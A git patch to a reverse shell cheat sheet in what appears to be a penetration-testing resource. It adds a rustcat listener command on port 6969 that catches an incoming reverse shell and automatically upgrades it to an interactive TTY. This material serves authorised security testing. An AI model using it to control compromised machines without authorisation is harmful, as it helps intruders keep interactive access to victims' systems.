From cf9b9bf70c3d376351209d2bd8511471c0428512 Mon Sep 17 00:00:00 2001 From: Thigh_GoD <123708601+Thy-GoD@users.noreply.github.com> Date: Fri, 8 Sep 2023 21:15:54 +0800 Subject: [PATCH] Update Reverse Shell Cheatsheet.md Added in automatic shell upgrade via rustcat. --- Methodology and Resources/Reverse Shell Cheatsheet.md | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/Methodology and Resources/Reverse Shell Cheatsheet.md b/Methodology and Resources/Reverse Shell Cheatsheet.md index 7af4e18..a7c4672 100644 --- a/Methodology and Resources/Reverse Shell Cheatsheet.md +++ b/Methodology and Resources/Reverse Shell Cheatsheet.md @@ -550,6 +550,15 @@ or use `socat` binary to get a fully tty reverse shell socat file:`tty`,raw,echo=0 tcp-listen:12345 ``` +Alternatively, `rustcat` binary can automatically inject the TTY shell command. + +The shell will be automatically upgraded and the TTY size will be provided for manual adjustment. + +```bash +stty raw -echo; stty size && rcat l -ie "/usr/bin/script -qc /bin/bash /dev/null" 6969 +``` + + Spawn a TTY shell from an interpreter ```powershell